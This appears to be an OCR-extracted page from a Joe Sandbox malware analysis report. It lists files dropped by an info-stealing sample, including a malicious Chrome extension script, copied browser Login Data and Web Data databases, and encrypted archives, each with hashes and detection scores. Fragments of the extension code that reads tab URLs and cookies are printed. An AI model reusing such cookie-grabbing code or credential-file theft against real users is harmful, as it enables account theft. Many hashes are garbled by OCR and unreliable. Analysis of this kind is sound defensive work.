6:WLzLyYGRpy6jHz5K3S3ZLeStvrXAgIJmW/9mGNVKANAGIMW/KrV4Nhdbb:97H1x3ZbtvOgImWBGNVKAAGIMWyrV4N;j
E93B02D6CFFCCA037F3EA55DC70EE969

DBO9ED8SEB9DBC82119FA1F76B3E36F2722ED2153
B057584F5E81B48291E696C061F94B1E88CA52522490816D4BF900817FF822BD

F85B5B38ADE3EFAGOSE1DA27E8680045548E3343804073F9FEOC83E4BECFB2EB4A237C8E1C84D43DA386CBDDDCC45F915BCE9S0ED41D53A8DFDF85AF2DFAL
879

false

<IDOCTYPE HTML>.<html>.<head>.<meta charset="UTF-8">.<title></title>.<style type="text/css">.div {..font-size: 30px;..color: red;.}.</style>.<script type="text/javascript
" src="jquery-1.8.3.min.js"></script>.<script type="text/javascript" src="popup.js"></script>.</head>..</html>

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\eklhijcdkfafgjlcdgmbboagmpekiefg\1.0.0.0_0\popup.js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text, with CRLF line terminators

dropped

642

4.985939227199713

false
12:wloAnOh/B9mZ2ysUEjesrdRGOyHM2ssgrlpX3KKjWnoFF20:gMW902yVEjzrwHM7rSKVnoeO
2AC02EE5F808BC4DEB832FB8E7F6F352
05375EF86FF516D91FB9746COCBC46D2318BEB86
DDC877C153B3A9CD5EC72FEF6314739D58AE885E5EFFO9AADBB86B41C3D814E6
6B86F979E43A35D24BAAF5762FC0D183584B62779E4B500EBOC5F73FAE36B054A66C5B0620EA34C6AC3C562624BEC3DB3698520AF570BB4ED026D907E03182E

false

$(function() {........ var a, e;.....chrome.tabs.getSelected(null, function(tab) {....e = tab.url; ....alert("url--" + e);...});
{...for (vari=0;i < ytCookies.length; i++) {.....if (ytCookies[i].name ==
ntScript(message, callback) {....chrome.tabs.query({.....active : true,.....
unction(response) {......if (callback)....... callback(response); )i

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text, with very long lines

dropped

5361

5.184927901937767

false

96:nYrRT/Xrspi863rl4+V7Sk0JCKL8XF7bOEQVuwv:nYrd/t863r3+9U4Kh
01D789546E2AEAF9881380C4EE5C4DD6
01A9B24C8198BD661A402EDDBAOBABB1ES4CACE6
2A5E7EF1FC6E72B9AFCOECOD30E67538637DACA82EBCC6061CB075471CF3D857

ACAD5D062D1B1A018488261D1C2EDEE61AC87263FEDA15A870D6F2B4CF61EFSE3AOE7948B31A743FDA046FFDEFCEE845FA3AA2ACE2F49BCASATAB1297E68
A9B7

true
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Preview:

{"account_id_migration_state":2,"account_tracker_service_last_update":"13245950583460399","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete”:{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group™:"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":false,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"c
ountryid_at_install":21843,"data_reduction":{"daily_original_length™:"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0’ "0","0
"o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0", ""0","0","0",

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

UTF-8 Unicode text, with very long lines

dropped

34636

5.539146915923536

false

768:nEaf7DBUckPWFr+oXLI6y1kXqgKf/pUZNCgVLH2HfjrukGfnM6vJ:IthLvjfnh
B8D78BF78F0834F84BF726D40FBOEEBD
DDD88DAA574A84985BFC291F64065184396230AD
E039E1C07D325F0F6BF7D29195E9BC54F38D95CBOD3A6472AD7649B6787CC59B
99A39DB5F25FD7A9226C36A29F5EFF234E79B17C20603D4A3C1F6814E11DB7162DEFCB0414BOACE7B6162122FBF88E7444D11096F3BESBC7F1B8486762BDF34

true

{"extensions":{"policy":{"switch":false},"settings":{"aapocclcgogkmnckokdopfmhonfmgoek":{"ack_external*:true,"active_permissions":{"api":[],"manifest_permissions":[]},"ap
p_launcher_ordinal":"w","commands":{},"content_settings"[],"creation_flags":137,"events"[],"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":[],"m
anifest_permissions":[J},"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13245950593233950","lastpingday":"13245947458518717" "locati
on":1,"manifest":{"api_console_project_id":"889782162350","app":{"launch":{"local_path":"main.html"}},"container":"GOOGLE_DRIVE","current_locale":"en","default_
locale":"en_US","description":"Create and edit presentations ","icons":{"128":"icon_128.png","16":"icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNAD
CBiQKBgQDLOGW2Hoztw8m2z6SmCjm7y40e206aRqO+niYKCXhZab572by7acqFIFFOON3e3a967SwNijsTx2n+7Mt3KqWzEKtnwUZqzHY SsdZZK64vWIHIdu
awPOEICWRMf2RGIBEdDC6I1zErtcDiSrJWeRINbODHWXDXIt1YseM7RiON9wIDAQAB","m

C:\Users\luser\AppDatal\Local\Login Data1611970726180

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

40960

0.792852251086831

false
48:2i3nBA+I1Y1PJzrQURCVE9V8MXODOHSFINUfAIGUGYFONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFIBAIG4oNFeymw
81DB1710BB13DA3343FCODFIF00BE49F

9B1F17E936D28684FFDFA962340C8872512270BB
9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0OFACABB
CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

false

SQLite format 3.

C:\Users\luser\AppDatal\Local\Login Data1611970737242

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

40960

0.792852251086831

false
48:2i3nBA+I1Y1PJzrQURCVE9V8MXODOHSFINUfAIGUGYFONSs8LKVUfIKVYJ7hU:pBCJIyC2V8MZyFI8AIG4oNFeymw
81DB1710BB13DA3343FCODFIF00BE49F

9B1F17E936D28684FFDFA962340C8872512270BB
9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB
CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1

false

SQLite format 3...... @ e ettt et e et ehee e te ettt ettt ettt eateeaste ettt eteeeaeeeaaeeaaeeeteeaeeeteeasteeateeateeanreentreareen

Process:

Copyright null 2021

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

7-zip archive data, version 0.3

dropped

37737

7.994967159065528

true
768:jKbwEEFezgMkJOjWrLgmfA3nT2g5XTcM5QxQ5peEjw4MEe:WbwBFOEPghX5XT/QnkbMEe
5A6469A3F787ABD2AE93B47470528F79

4032B59237CC883FB752D9727971B435FAD27EB8S
1B27A55132F5E68D341F617A8EB21C6ED62AAE9017FFO1EB8651E05D0615D971

335985B4FDCDEFED60F6073CC58F44B1E31FA43C1EE253772C5EEB94FD1D93CCF2D4D7C994EF0151FFE32A58369FCASAG05329E77D3A8B038D5142F4946D21
5

false

Tz IVW L S.....8%D...2 .J..y1.C.....HE89.V.Z',n* $.T.V....0.%({.1.6!...."...L.nrH.. Am.....5.M.0.....Q...r.... . kKL.S".W"Y..2pS....g....Viy.;.+..P.8F.t...).&:.]j
Jwe L ELFfe$.Sw.%. ...y .n2F V. HALLLSI&WDLA.@. H. b

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

7-zip archive data, version 0.3

dropped

553040

7.999671101282436

true
12288:DSX3/iYsJg9CZjucCzkbXAH+rCd/Q0SeFiDS+wj5KMzCH/RuuHDrDNb:DSX3/iVgrzkbXa+raQ0JUuJj5jzYNrDp
A4427F2F4A6DEEA15CEA87BDBB53A22CC

158501079514868D85246E970314A024FF263199
18BA0794E5C95B5192105CCDIAA09A7DFFF50262971D23E316CA3788627CCA4F
334255DCAOF71B7B50A147397ECF21B1CB5150FD489AE7EBEFDFD459190865FFAF3CD7783D50B53DFF91CES628CABB147172A627A400112B490BE17164074C8

false

LA\ =4yT7.0) . .
0...c.Z4.....QL..1L..J.p.>. I>.y8..S..@....7..Hc...y...UNJ]..9..@.../.'#....N...BC?..C....Ga[J.vb...mn..@..z.../Kc.,Y<.tA*.2...0......|....Drr])..7..9.....pN].P6|].t .
"lyb..SO..... .. H.- hax 4.Vl L4)3NL,2_ ULy R .N1€%.4.0%"],.H.2.."../42....9..5X.. 1.....8Z.U#A\.....tbP........ &...U...9

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Joe Sandbox
View:

Preview:

C:\Users\user\Desktop\N1yprTBBXs.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

4999496

7.663640140797365

false

98304:LWrSa24w3rQ/pE/JFBCnpcYiKAEXXPnsNSkUe:iydwesJFgpc8dXfUSe
F7D7C89F3F5CBC925480B46B7B934157
73E389B70CF3D8975CCBAF7D04F4C45CC80BES60
2870F899F2E9EC540DA321F603CFB1A735DCD06DF016718E663DC78FEFDF5EQA
9B972E2954C18F706A6F8012A6B76E1FACEBE76466EAE919B55A6225C4F8574586D9F11838D8D63BDD245B11CFD3E581248E9A578F72FF2DD8B6623BEBC525E!
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 22%, Browse
e Antivirus: ReversingLabs, Detection: 59%

e Filename: N1yprTBBXs.exe, Detection: malicious, Browse

....... H.....L.IThis program cannot be run in DOS mode....$.

Process:
File Type:
Category:
Size (bytes):

Copyright null 2021

C:\Users\user\Desktop\N1yprTBBXs.exe
ASCII text, with CRLF line terminators
dropped

26

Page 24 of 81


https://www.metadefender.com/#!/results/file/bzIxMDEyOE0yNzBjMjR3NWpLNnllTkxmY3M/regular/analysis
https://view.joesandbox.com/analysis/259493/html/none

Entropy (8bit):  3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYVIrPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHAL: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BDIDOEEA79D49C5EEB8F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0OC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
Malicious: true

Preview:

[ZoneTransfer]....Zoneld=0

C:\Users\luser\AppData\Local\Temp\MSI1983.tmp 9

Process: C:\Windows\SysWOW64\msiexec.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 6656

Entropy (8bit):  5.2861874904617645

Encrypted: false

SSDEEP: 96:YtIL/UST0S599F4dHVMUgROmMhpatBWXxJZr7dJVYJINs60I10dLNK:Q2SwSX9wSVUDWXQsxO

MD5: 84878B1A26F8544BDA4E069320ADSE7D

SHAL: 51C6EE244F5F2FA35B563BFFB91E37DA848A759C

SHA-256: 809AAB5EACE34DFBFB2B3D45462D42B34FCB95B415201D0D625414B56E437444

SHA-512: 4742B84826961F590E0A2D6CC85A60B59CA4D300C58BESDOC33EB2315CEFAF5627AESED908233AD51E188CES3CA861CF5CF8C1LAA2620DC2667F83F98E627B5
9

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

Antivirus: ReversingLabs, Detection: 0%

Joe Sandbox o Filename: Cyfj6XGbkd.exe, Detection: malicious, Browse
View: o Filename: N1yprTBBXs.exe, Detection: malicious, Browse
o Filename: FileSetup-v17.04.41.exe, Detection: malicious, Browse
o Filename: FileSetup-v17.04.41.exe, Detection: malicious, Browse
Preview:
1..L.IThis program cannot be run in DOS mode....$........... e..e.e._F.e.&m..e.e.e.i.e.i.e.i.e.Riche...... PE
0 | text.
C:\Users\luser\AppData\Local\Temp\download\MiniThunderPlatform.exe 9
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 268744
Entropy (8bit):  5.398284390686728
Encrypted: false
SSDEEP: 6144:ePH9aqri3YL1Avg3NIoWPxFL8QL2Ma8tvTOecR:eP4qri3YL1Avg3NIoWPTnL2f3x
MD5: E2E9483568DC53F68BEOB80C34FE27FB
SHA1L: 8919397FCC5CE4F91FEODCAE6F55CEASD39E4BB9
SHA-256: 205C40F2733BA3E30CC538ADC6ACEEE46F4C84A245337A36108095B9280ABB37
SHA-512: B6810288E5F9AD49DCBF13BF339EB775C52E1634CFA243535AB46FDA97F5A2AAC112549D21E2C30A95306A57363819BESADSEFD4525E27B6C446C17C9C587E<
E
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 8%, Browse

Antivirus: ReversingLabs, Detection: 0%

Joe Sandbox o Filename: Cyfj6XGbkd.exe, Detection: malicious, Browse
View: o Filename: N1yprTBBXs.exe, Detection: malicious, Browse

o Filename: FileSetup-v17.04.41.exe, Detection: malicious, Browse

o Filename: FileSetup-v17.04.41.exe, Detection: malicious, Browse
Preview:

315-Q5.15.Q:0.15:Q.0.15.Q.58r5.Q. Y .Q4

C:\Users\luser\AppData\Local\Temp\download\ThunderFW.exe 9
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped
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https://www.metadefender.com/#!/results/file/WlRFM01ESXdNa2g1UnpoUk9ETTViRjlsSHk1X1VoNWxPZw/regular/analysis
https://view.joesandbox.com/analysis/259500/html/none
https://view.joesandbox.com/analysis/259493/html/none
https://view.joesandbox.com/analysis/259382/html/none
https://view.joesandbox.com/analysis/259366/html/none
https://www.metadefender.com/#!/results/file/YnpJd01URXdORU10Ukdka1NtRjJiV29KbzA3WlRqYVRj/regular/analysis
https://view.joesandbox.com/analysis/259500/html/none
https://view.joesandbox.com/analysis/259493/html/none
https://view.joesandbox.com/analysis/259382/html/none
https://view.joesandbox.com/analysis/259366/html/none

C:\Users\luser\AppData\Local\Temp\download\ThunderFW.exe v

Size (bytes): 73160
Entropy (8bit):  6.49500452335621
Encrypted: false
SSDEEP: 1536:BG9vRpkFghyU/Nv47PZSOKhqTwYu5tEm1n22W:E1RIOAkz5tEmMZvW
MD5: FO372FF8A6148498B19E04203DBB9E6G9
SHA1L: 27FE4B5F8CB9464AB5DDC63E69C3C180B77DBDES
SHA-256: 298D334B630C77B70E66CF5E9C1924C7F0D498B02C2397E92E2D9EFDFF2E1BDF
SHA-512: 65D84817CDDDB808B6EOABI64A4B41E96F7CE129E3CC8C253A31642EFE73A9B7070638C22C659033E1479322ACEEA49D1AFDCEFF54F8ED044B1513BFFD33F8
5
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 2%
Preview:
C:\Users\user\AppData\Local\Temp\download\atl71.dll v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 89600
Entropy (8bit):  6.46929682960805
Encrypted: false
SSDEEP: 1536:kIIL9T5Xx1ogKMvw5Br7KLKLI+Xe+QnyH4CcOtR6nGVp/VTbkEODJ4ZwmroV:BtvBOI+FQny5R6nG//SdaZwms
MD5: 79CB6457C81ADA9EB7F2087CE799AAA7
SHA1L: 322DDDE439D9254182F5945BE8D97E9D897561AE
SHA-256: AB8E1297FAE2BCF854B47FFA444F490353028DE1FA2CA713B6CF6CC5AA22B88A
SHA-512: ECA4B91109D105B2CE8C40710B8E3309C4CC944194843B7930E06DAF3D1DF6AE85C1B7063036C7ESCD10276E5E5535B33E49930ADBAD88166228316283D011B
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:

L.!IThis program cannot be run in DOS mode....$
C:\Users\luser\AppData\Local\Temp\download\dl_peer_id.dll v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 92080
Entropy (8bit):  5.923150781730819
Encrypted: false
SSDEEP: 1536:5myH1Ar4zLdloXJEDOySFzyhSU+kcexDCaDRgxAnNNQDB:foEZEDDSFzDkce7RgxAnIB
MD5: DBA9A19752B52943A0850A7E19AC600A
SHA1L: 3485AC30CD7340ECCB0457BCA37CF4A6DFDAS83D
SHA-256: 69A5E2A51094DC8F30788D63243B12A0EB2759A3F3C3A159B85FD422FCO0AC26
SHA-512: A42C1EC5594C6F6CAE10524CDAD1F9DA2BDC407F46E685E56107DE781B9BCE8210A8CD1A53EDACD61365D37A1C7CEBA3B0891343CF2C31D258681E3BF8504

D3
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%

Preview:
C:\Users\luser\AppData\Local\Temp\download\download_engine.dll v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 3512776
Entropy (8bit):  6.514740710935125

Copyright null 2021
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https://www.metadefender.com/#!/results/file/YnpJeE1ERXhNMEpVT1V3NFpIUm5ZelU2aXR3VmFnSXpuWA/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemt6VzYxN0lhYUdH/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemswT3NTV2t4bWJl/regular/analysis

C:\Users\luser\AppData\Local\Temp\download\download_engine.dll v

Encrypted: false

SSDEEP: 49152:0/4yyAd2+awsEL4eyiiDoHHPLVQB0032Qm6m7VBmurXztN:OVrsEcTiiAvLaOoYkuf/

MDS5: 1A87FF238DF9EA26E76B56F34E18402C

SHA1L: 2DF48C31F3B3ADB118F6472B5A2DC3081B302D7C

SHA-256: ABAEB5121548256577DDD8B0OFC30C9FF3790649AD6A0704E4E30D62E70A72964

SHA-512: B2E63ABA8C081D3D38BD9633A1313F97B586B69AE0301D3B32B889690327A575B55097F19CC87C6E6GED345F1B4439D28F981FDB094E6A095018A10921DAEBODS
Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 0%

Preview:
1..L.IThis program cannot be run in DOS mode...$.....M. L { {. {...{.$. { .t { & { {8 { b {. & {.$.{.q
. WO ho 10
C:\Users\luser\AppData\Local\Temp\download\msvcp71.dil v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 503808
Entropy (8bit):  6.4043708480235715
Encrypted: false
SSDEEP: 12288:h692dAsfQqt40JcRYRhUgIWE6QR7t5k300c8iHkC2ek:hSYACJIcRYe30o0c8iHkC2e
MD5: A94DC60A90EFD7A35C36D971E3EE7470
SHA1L: F936F612BC779E4BA067F77514B68C329180A380
SHA-256: 6C483CBE349863C7DCF6F8CB7334E7D28C299E7D5AA063297EA2F62352F6BDD9
SHA-512: FF6C41D56337CAC074582002D60CBC57263A31480C67EE8999BC02FC473B331EEFED93EE938718D297877CF48471C7512741B4AEBC0636AFC78991CDF6EDDF/
B
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 3%

Preview:
I..L.IThis program cannot be run in DOS mode....$........ | SO [N N.....N..... N..o.o.NoNLGNGNLLLR
?..2.<..p.
C:\Users\user\AppData\Local\Temp\download\msvcr71.dll v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 348160
Entropy (8bit):  6.56488891304105
Encrypted: false
SSDEEP: 6144:cPIV59981QWguohlP/siMbo8Crn2zzwRFMciFMNrb3YgxS3bCAO5kkG:OIVVN1QWguohinJDrn8zwNF7eCr
MD5: CA2F560921B7B8BE1CF555A5A18D54C3
SHA1L: 432DBCF54B6F1142058B413A9D52668A2BDE011D
SHA-256: C4D4339DF314A27FF75A38967B7569D9962337B8D4CD4BODB3ABASFF72B2BFBB
SHA-512: 23EO0BDD9458A5A8E0F9BBCB7F6CE4F87FCCIOE47C1EEL15F964C17FFOFESDOF82DD3A0F90263DAAF1EES7FAD4A238AA0EE92A16B3E2C67F47C84D575768EDB/
43E
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 3%

Preview:
MZ.oiiiiiiiie @ e I..L.IThis program cannot be run in DOS mode....$......... AV KE...... S..Fx...F....F.G..F.D...FF..F.B....Ric
h.. ....PE..L...Q.D ! 6| A L...C... (ceer e 0..h+.....8..... H |
C:\Users\luser\AppData\Local\Temp\download\zlib1.dll v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 59904

Entropy (8bit):  6.753320551944624

Encrypted: false
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https://www.metadefender.com/#!/results/file/YnpJeE1ERXhNVTExYm1kUGJsb3lid1pKb2JvcTV6OXU/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemtzclpFUW9XSEc/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemtMZktZVGNhOTVu/regular/analysis

C:\Users\luser\AppData\Local\Temp\download\zlib1.dll v

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

1536:ZfU1BgfZqvECHUhUMPZVmnTolfxIOjlOG8TI:ZfzfZR2UhUMPZVSTBfbFG6I

89F6488524EAA3E5A66C5F34F3B92405

330F9F6DA03AE96DFA77DD92AAEIA294EADICTF7

BD29D2B1F930E4B660ADF71606D1B9634188B7160A704A8D140CADAFB46ELES6
CFE72872C89C055D59D4DE07A3A14CD84A7EOAL2F166E018748B9674045B694793B6A08863E791BE4F9095A34471FD6ABE76828DC8C653BEBC66923A5802B31E
false

e Antivirus: Metadefender, Detection: 0%, Browse
e Antivirus: ReversingLabs, Detection: 0%

Mz

C:\Users\luser\AppData\Local\Templecv37E8.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\AppData\Roaming\1611970727133.exe

Extensible storage engine DataBase, version 0x620, checksum 0xe7583a04, page size 32768, DirtyShutdown, Windows version 10.0
dropped

26738688

0.9544034244886906

false

24576:vILvalxfFUziD9gNItkOuvAPIcgoolO3PX2BU:xUz2gNLkOuu

6F872A9E59DBDC88C3A7868DADD23D2F

DBEC1F388806EACCOC88F2052BA0A6510B2D22CA
E1C8F88F32C3E1036ED47A577974FEC63308CCD38059C8FBACI53F687BDF099B
6342DE3B884FFB7071E41C5B394CEC7FB63071B22102F02E940067F5AEA6019CC4B581730D25B1228B3595549700877FE8B1D86C94A6F2109E3FCOBD194541E8

false

.x3.6-..x_.h.i.

C:\Users\luser\AppData\Local\Temp\gdiview.msi

Process: C:\Users\user\Desktop\N1yprTBBXs.exe

File Type: ;1033

Category: modified

Size (bytes): 237056

Entropy (8bit):  6.262405449836627

Encrypted: false

SSDEEP: 3072:0qgVLOWI8M5AT7LLrepgxi8RVUbq+jLJI2naX3MGYn9dL7yP:VgZOwI5ANL2RgUbTC29GYTC

MD5: 7CC103F6FD70C6F3A2D2B9FCA0438182

SHA1L: 699BD8924A27516B405EA9A686604B53B4E23372

SHA-256: DBD9F2128F0B92B21EF99A1D7A0F93F14EBE475DBA436D8B1562677821B918A1

SHA-512: 92EC9590E32A0CF810FC5D15CA9D855C86E5B8CB17CF45DD68BCB972BD78692436535ADFIF510259D604E0A8BA2E25C6D2616DF242261EB7B09A0CASC6C2C!
8

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\xIdl.dat E

Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

File Type: 7-zip archive data, version 0.3

Category: dropped

Size (bytes): 1397922

Entropy (8bit):  7.999863097294012

Encrypted: true

SSDEEP: 24576:juyl43LaCG/NslizTSVSRVLQtdMRATAOwpJu4cvT8Ptj2JwgXN25MB9urhOw6q:jutd7aCGVSVSRVLEdxAOacojEwgXTcac

MD5: 18C413810B2AC24D83CD1CDCAF49E5EL

SHA1L: ACE4A5913D6736C6FFB6666B4290AB1A5950D6FF

SHA-256: 9343334E967D23D84487B28A91E517523B74C6ADDF4654309EDEE98CCOA56353

SHA-512: FEFD6B65CBB61AC77008155F4CB52221C5C518388D429FE6C11CCB2346FB57991D47B121A024AC1DDED312C1B7646744066092A8A04D5A81BFES6E4A1DIC2E
5

Malicious: false

Copyright null 2021
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https://www.metadefender.com/#!/results/file/YnpJeE1ERXlPVWswTFZkR2JHbzRRemtrel9jOHh0TVZR/regular/analysis

C:\Users\luser\AppData\Local\Temp\xIdl.dat E

Preview:
72 CAT S _CoPn /D.N..MhC.T..
A26.1....,<KO..... A V.. &).{.. X.K.5*ZLF.W-.Z9. <......
f~ JE.N.3....s.Y.r.y...V.p....MrD...W2...Y:..G..bkg...n..0. >W.\A>Z.... M j.Mb}.S....._3"...f... I :
Yol NP #9%...1..%.v. J4... A 183D, . VZ# . ... < A0 A< [ N1 YALZNLV U)LY TP )6LNL > e 2 VHAQ. . 8MLX). ... HLDZ.. LYY =),
(.z.0E.Y2."".<IL.{Z...+.0......... 8v..[. 1A .xx..8.HY....y.l.d.€}..ccecns 'D.W....... 02, /q...sx....>..7.fk._.g".0.".F24.Mvs.....)\.... ...d.&.
C:\Users\user\AppData\Local\Temp\xIdl.dll v
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 293320
Entropy (8bit):  6.347427939821131
Encrypted: false
SSDEEP: 6144:qUWWnykalc7u2SbdYUUVZjWj9gj0U+zIVKy5:qvKa+7u7bqUoZjW5gjou+z+Y
MD5: 208662418974BCA6FAABS5COCAGF7DEBF
SHA1L: DB216FC36AB02EOB08BF343539793C96BA393CF1
SHA-256: A7427F58E40C131E77E8A4F226DBIC772739392F3347EOFCE194C44AD8DA26D5
SHA-512: 8A185340B057C89B1F2062A4F687A2B10926C062845075D81E3B1ES558D8A3F14B32B9965F438A1C63FCDB7BA146747233BCB634F4DD4605013F74C2C01428C03
Malicious: false
Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 0%
Preview:

C:\Users\user\AppData\Local\Web Data1611970737586

Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit):  1.1874185457069584

Encrypted: false

SSDEEP: 96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWhbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYghCP46w/1Vumg
MD5: 72A43D390E478BA9664F03951692D109

SHA1L: 482FE43725D7A1614F6E24429E455CD0OA920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC

CE
Malicious: false
Preview:

SQLite format 3......@ ....... B LTS U PP PUPPSRUPUPI
C:\Users\luser\AppDatal\Local\crx.7z E
Process: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
File Type: 7-zip archive data, version 0.3
Category: dropped
Size (bytes): 36105
Entropy (8bit):  7.994610469125073
Encrypted: true
SSDEEP: 768:gzRRD+bldsGw/mJaXyGteg6/Ys175i+SQwcvDcViSvXhgisEKXz:gzRN5sG2mJjGeg6/J7VSVWDcLvxgisEU
MD5: DAFDD7237BA10D0C91295CD1C15749B2
SHA1L: 45D55EE145BC71921271BA5493F13D3428589D4D
